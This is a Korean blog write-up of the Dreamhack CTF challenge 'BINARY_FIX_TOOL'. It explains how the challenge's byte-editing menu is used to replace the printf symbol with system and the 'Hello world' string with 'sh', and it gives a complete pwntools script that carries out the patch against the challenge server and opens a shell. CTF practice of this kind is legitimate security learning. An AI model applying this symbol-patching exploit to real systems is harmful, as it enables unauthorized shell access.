[ Dreamhack ] BINARY_FIX_TOOL
2023. 6. 1. 10:07ㆍ카테고리 없음
반응형
이 문제는 일반적인 포너블 문제처럼 바이너리가 제공되지 않고 nc로 접속해서
바이너리를 fix하고 실행시켜 쉘을 따야 한다.
1번 메뉴를 통해 바이너리를 bytes 또는 인코딩 된 것으로 볼 수 있다.
bytes로 바이너리를 출력해보겠다.
그럼 위와 같이 뭐가 많이 나온다.
위 프로그램은 printf로 Hello world를 출력해주는 코드이다.
바이너리에서 저 printf 부분과 Hello world를 출력해주는 프로그램이다.
그런데 바이너리에서 저 함수 있는부분을 만약 puts로 변경하면 이 프로그램은 실행될 때 puts("Hello world")로
실행이된다. 현재 문제에서 바이너리를 fix 할 수 있기 때문에 저 printf를 system으로 변경하고 Hello world 부분을
sh\x00으로 변경해주면 쉘을 획득할 수 있다.
자신이 원하는 글자의 위치를 찾아주고 변경해준뒤 4번 메뉴를 통해 실행하면 끝!!
from pwn import *
context.log_level = "debug"
r = remote("host3.dreamhack.games", 12764)
def find_word(sentence):
num = 0
seperate = 0
flag = 0
for i in sentence:
if i == '\\' and seperate == 0:
num += 1
flag = 5
seperate += 1
elif seperate == 0:
num += 1
if flag != 0:
seperate += 1
flag -= 1
if seperate == 6:
seperate = 0
return num
def change(num, change_word):
for i in change_word:
r.sendlineafter(b">> ", b'3')
r.sendlineafter(b": ", str(num).encode())
r.sendlineafter(b": ", b'y')
r.sendlineafter(b": ", str(ord(i)).encode())
num += 1
r.sendlineafter(b">> ", b'1')
r.sendlineafter(b"[B]ytes", b'b')
r.recvuntil(b"b'")
binary = str(r.recvuntil(b"----------Binary end")[:-20])
index1 = binary.find("printf")
index2 = binary.find("Hello world")
binary1 = binary[:index1]
binary2 = binary[:index2]
num1 = find_word(binary1) - 4
num2 = find_word(binary2) - 8
change(num1, "system")
change(num2, "sh\x00")
r.sendlineafter(b">>", b'4')
r.sendline(b"id")
r.interactive()
반응형